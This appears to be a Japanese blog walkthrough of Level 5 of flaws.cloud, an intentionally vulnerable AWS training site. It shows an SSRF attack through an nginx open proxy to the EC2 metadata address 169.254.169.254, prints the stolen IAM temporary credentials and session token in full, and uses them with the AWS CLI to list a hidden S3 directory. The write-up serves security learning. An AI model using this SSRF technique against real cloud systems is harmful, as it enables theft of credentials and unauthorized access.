flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 5
この記事は下記のブログの続きです！
過去の記事でおこなった手順は省略してますのでご注意ください。
まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
chikoblog.hatenablog.jp
※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。
Level 5
トップページです。
今回の問題はこんな感じです。
「This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.」
このEC2にはHTTPのみのプロキシがあり、使用例は以下のようなものです。
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/
このプロキシを使用して、非表示ディレクトリがある
S3バケットlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloudの内容をリストする方法を確認してください。
相変わらず、英語力がないと難解すぎて困る...
とりあえず進めてみる
問題にあったlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloudにブラウザアクセスしてみると「Access Denied」でした。
「Level 6 is hosted in a sub-directory, but to figure out that directory, you need to play level 5 properly.」
Level 6はサブディレクトリでホストされるが、そのディレクトリを把握するにはLevel 5の内容をよく調べる必要があります。
なんとなく問題にある「このEC2」というのはLevel 4で作ったEC2のことを指すような気がします。
Level 4で作ったEC2はNginxが使われていますので、この辺りの設定ファイルにプロキシの設定が書いてあるのではないでしょうか？
Level 4でマウントしたマウントポイントに移動してlsコマンドを実行します。
$ cd /mnt/xvdf1/ (各自マウントしたマウントポイント) $ ls -ls etc/nginx 合計 56 4 drwxr-xr-x 2 root root 4096 10月 27 2016 conf.d 4 -rw-r--r-- 1 root root 1077 4月 26 2016 fastcgi.conf 4 -rw-r--r-- 1 root root 1007 4月 26 2016 fastcgi_params 4 -rw-r--r-- 1 root root 2837 4月 26 2016 koi-utf 4 -rw-r--r-- 1 root root 2223 4月 26 2016 koi-win 4 -rw-r--r-- 1 root root 3957 4月 26 2016 mime.types 4 -rw-r--r-- 1 root root 1533 2月 19 2017 nginx.conf 4 -rw-r--r-- 1 root root 180 4月 26 2016 proxy_params 4 -rw-r--r-- 1 root root 636 4月 26 2016 scgi_params 4 drwxr-xr-x 2 root root 4096 2月 19 2017 sites-available 4 drwxr-xr-x 2 root root 4096 2月 19 2017 sites-enabled 4 drwxr-xr-x 2 root root 4096 2月 12 2017 snippets 4 -rw-r--r-- 1 root root 664 4月 26 2016 uwsgi_params 4 -rw-r--r-- 1 root root 3071 4月 26 2016 win-utf
nginx.confがあるので、とりあえず開いてみます。
$ cat etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
events {
worker_connections 768;
# multi_accept on;
}
http {
~~~中略~~~
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
~~~中略~~~
Nginxのバーチャルホスト設定で/etc/nginx/sites-enabled/がインクルード設定されていることがわかったので中身を確認します。
$ ls -ls etc/nginx/sites-enabled/ 合計 0 0 lrwxrwxrwx 1 root root 34 2月 12 2017 default -> /etc/nginx/sites-available/default
中身をみてみると/etc/nginx/sites-enabled/defaultが
シンボリックリンクで/etc/nginx/sites-available/defaultに向いているようなので中身をみてみます。
$ cat etc/nginx/sites-available/default
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm;
server_name _;
location / {
try_files $uri $uri/ =404;
auth_basic "Restricted Content";
auth_basic_user_file /etc/nginx/.htpasswd;
}
location ~* ^/proxy/((?U).+)/(.*)$ {
limit_except GET {
deny all;
}
limit_req zone=one burst=1;
set $proxyhost '$1';
set $proxyuri '$2';
proxy_limit_rate 4096;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $proxyhost;
resolver 8.8.8.8;
proxy_pass http://$proxyhost/$proxyuri;
}
}
問題に書いてあったプロキシのホスト名である
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudはLevel 4でEBSスナップショットを取得したEC2の名前と一致しています。
なので、ここのproxy_pass http://$proxyhost/$proxyuri;部分は
問題にあったhttp://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/*でアクセス可能な気がします。
これだけの情報じゃ何もできないのでより詳細な情報を抜き取る必要があります。
諸々調査をしていると.bash_history内に気になるコマンドが出てきました。
$ cat home/ubuntu/.bash_history |grep curl curl 169.254.169.254 curl http://169.254.169.254/latest/meta-data curl -XGET http://169.254.169.254/latest/meta-data curl http://169.254.169.254/latest/meta-data/iam/info curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/profile/ curl http://169.254.169.254/latest/meta-data/profile curl http://169.254.169.254/latest/user-data curl http://169.254.169.254/iam/security-credentials/flaws curl http://169.254.169.254/iam/security-credentials curl http://169.254.169.254/iam/security-credentials/flaws/ curl http://169.254.169.254/iam/ curl http://169.254.169.254/meta-data/iam/security-credentials/flaws curl http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws curl http://169.254.169.254/latest/meta-data/iam/security-credentials
このIPアドレス169.254.169.254は実行中の
インスタンスメタデータの取得の際に利用できるIPアドレスのようです。
早速、実行してみました。
$ curl http://169.254.169.254/latest/meta-data ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname identity-credentials/ instance-action instance-id instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/
色々な情報が盗み取れそうです。特に気になるのが.bash_historyにあったflawsを利用しているのもたちです。
$ cat home/ubuntu/.bash_history |grep curl |grep flaws curl http://169.254.169.254/iam/security-credentials/flaws curl http://169.254.169.254/iam/security-credentials/flaws/ curl http://169.254.169.254/meta-data/iam/security-credentials/flaws curl http://169.254.169.254/latest/meta-data/iam/security-credentials/flaws
中でもhttp://169.254.169.254/meta-data/iam/security-credentials/*へのリクエストはIAMの情報を取得するときに利用するものです。
攻撃しているEC2はflawsというIAMロールを割り当てていそうですね。
おそらくですが、
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudが動いているEC2のプロキシを悪用すれば、
level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloudの情報が抜けそうな気がします。
手に入れたプロキシの情報http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/*と
先ほどのコマンド利用してIAMの情報を抜いてみようと思います。
$ curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ { "Code" : "Success", "LastUpdated" : "2019-12-28T10:36:50Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA6GG7PSQG7AROHMFN", "SecretAccessKey" : "tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe", "Token" : "IQoJb3JpZ2luX2VjEOv//////////wEaCXVzLXdlc3QtMiJHMEUCIQDZr5VE2wCVSKorbQp4QsQhMYAPW57QcOdMgfOtYFYTEgIgGe5W8C3d4yuD2IW57OhR5GgnFeMxWSoTEsuC4LzFI40qvQMIpP//////////ARAAGgw5NzU0MjYyNjIwMjkiDMDJ6PttBOzFTUUxriqRA4G45awz0lX2ZBCP5GyKaRzlun0Z/7pqtAH+mqamde0wk92Odac6psnQ9du6X/MFdjg/oi0Wy4ph4tEDuFl1rDpAqN99wqZtIUS4q0V3PpILiAsVAoGUvdfAA0dw5y9B9x+G7aW80mkWTJd4Gn5mg6Ji2wImI/4RXsu0j3TUzpylCyWtCQHLekqS6cV0j1pokYYeq3RBBCA8X6dpjCO9qQHg4f7YCAtrzT0oAlNDMK1tae8JkX9pClj7+53kBXVzC+43KwRTrCwXQtuh9ANbWIQu3xP4cVeuzckvFdO3TxoVR7Dq7wC3Ro0ceYl+LX1uwFg/wGq/t/ATCTQbcPOA/VpRR3cmFaZ20BXMP5EJ7I1SeeHog8KpURXoboiW6fP1X2qDQL8YT8Kg1xJ7FgEPOAVhOS3/kA+ghglBwPm0KJ8lYtaSOEkLG5kREX6Ij0UL42nh3ZQZ9S40XkAUPUHrqgQSTnDIlz2nZ734gLscPe5Y/BdycSHoecuJddgITbnqonrQmsRsz1f9Vuh8TYhSrJYWMIm2pPIFOusBdMXseVsfP+tFSreYU4KOaPQ4J5B/c+TP/VPKiWU3QnQOphrXPsCscETB69Lbf3aqcfuRgUuaJx6MVbgwGxyTQzny8GgCRdy+jCQdf3SHNQZ8akECa9N/D7waMU5uG0BxSPeDPfIqTPQqeL5aw5KKqlTomuPKslVMRf0aZg9HJuWCh7DxmD+nAJzRp2NT95s81dQtzvYefaA8xTbAO8ljumO7UOhbhhQjY/Z+l/JePXTLser281xBkckbYZAtikEHCbj54Vb4X3EhH5GHK40NlbLU7mVP+n849QMvrTK9s903oEQz9jdQHtiyqA==", "Expiration" : "2019-12-28T16:42:17Z"
手に入れたキー情報をaws configureに登録してみる。がS3バケットの参照はできませんでした。
$ aws configure --profile flawstest AWS Access Key ID [None]: ASIA6GG7PSQG7AROHMFN AWS Secret Access Key [None]: tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe Default region name [None]: us-west-2 Default output format [None]: $ aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flawstest An error occurred (InvalidAccessKeyId) when calling the ListObjectsV2 operation: The AWS Access Key Id you provided does not exist in our records.
先ほどのcurlコマンドの事項結果でTokenというのが出てきたのでこれも利用しないといけなさそうですね。
aws configureの公式ドキュメントによると機密性の高い認証情報は~/.aws/credentials に記載されているようです。
~/.aws/credentials でAWS セッショントークンをaws_session_tokenで指定できるようなので、vimコマンドで追加してみます。
$ cat ~/.aws/credentials [flawstest] aws_access_key_id = ASIA6GG7PSQG7AROHMFN aws_secret_access_key = tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe vim ~/.aws/credentials [flawstest] aws_access_key_id = ASIA6GG7PSQG7AROHMFN aws_secret_access_key = tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe aws_session_token = IQoJb3JpZ2luX2VjEOv//////////wEaCXVzLXdlc3QtMiJHMEUCIQDZr5VE2wCVSKorbQp4QsQhMYAPW57QcOdMgfOtYFYTEgIgGe5W8C3d4yuD2IW57OhR5GgnFeMxWSoTEsuC4LzFI40qvQMIpP//////////ARAAGgw5NzU0MjYyNjIwMjkiDMDJ6PttBOzFTUUxriqRA4G45awz0lX2ZBCP5GyKaRzlun0Z/7pqtAH+mqamde0wk92Odac6psnQ9du6X/MFdjg/oi0Wy4ph4tEDuFl1rDpAqN99wqZtIUS4q0V3PpILiAsVAoGUvdfAA0dw5y9B9x+G7aW80mkWTJd4Gn5mg6Ji2wImI/4RXsu0j3TUzpylCyWtCQHLekqS6cV0j1pokYYeq3RBBCA8X6dpjCO9qQHg4f7YCAtrzT0oAlNDMK1tae8JkX9pClj7+53kBXVzC+43KwRTrCwXQtuh9ANbWIQu3xP4cVeuzckvFdO3TxoVR7Dq7wC3Ro0ceYl+LX1uwFg/wGq/t/ATCTQbcPOA/VpRR3cmFaZ20BXMP5EJ7I1SeeHog8KpURXoboiW6fP1X2qDQL8YT8Kg1xJ7FgEPOAVhOS3/kA+ghglBwPm0KJ8lYtaSOEkLG5kREX6Ij0UL42nh3ZQZ9S40XkAUPUHrqgQSTnDIlz2nZ734gLscPe5Y/BdycSHoecuJddgITbnqonrQmsRsz1f9Vuh8TYhSrJYWMIm2pPIFOusBdMXseVsfP+tFSreYU4KOaPQ4J5B/c+TP/VPKiWU3QnQOphrXPsCscETB69Lbf3aqcfuRgUuaJx6MVbgwGxyTQzny8GgCRdy+jCQdf3SHNQZ8akECa9N/D7waMU5uG0BxSPeDPfIqTPQqeL5aw5KKqlTomuPKslVMRf0aZg9HJuWCh7DxmD+nAJzRp2NT95s81dQtzvYefaA8xTbAO8ljumO7UOhbhhQjY/Z+l/JePXTLser281xBkckbYZAtikEHCbj54Vb4X3EhH5GHK40NlbLU7mVP+n849QMvrTK9s903oEQz9jdQHtiyqA==
aws s3 lsコマンドでlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloudの中身を確認します。
$ aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flawstest PRE ddcc78ff/ 2017-02-27 02:11:07 871 index.html
ddcc78ff/というディレクトリがあるようです。続けて確認してみます。
$ aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/ --profile flawstest 2017-03-03 04:36:23 2463 hint1.html 2017-03-03 04:36:23 2080 hint2.html 2017-03-03 04:36:25 2782 index.html
なんかここがゴールっぽいのでlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/をブラウザアクセスします。
Level 6の画面が出てきたのでLevel 5クリアです！
やってみた感想
Level 6の画面にも書いてある通り、
「The IP address 169.254.169.254 is a magic IP in the cloud world.」
IPアドレス169.254.169.254は、クラウドの世界では魔法のIPですねw
たまたま.bash_historyで見つけれたものの、これを知らないと今回の問題は解けなさそうです。
EC2 の IAM ロールのドキュメントにもしっかり書いてありますが、インスタンスメタデータiam/security-credentials/role-nameのロールからセキュリティ認証情報を取得できてしまいます。
IAMロールでインスタンスメタデータを使用するサービスを使用する場合は、 サービスで HTTP呼び出しが行われるときに認証情報を公開しないように注意する必要があります。
認証情報を公開できるサービスの種類は以下の通りです。
優秀な攻撃者だったら「HTTP プロキシ」という単語だけでこの攻撃手段が思いついちゃいますね。
この辺は、本当に知らないと守りようが無い気がしますので、 皆さんもお気をつけてください。
毎度、毎度の宣伝ですが、このようなあまり普段だと意識していないセキュリティリスクも学べますので、 皆様も是非チャレンジしてみては如何でしょうか？
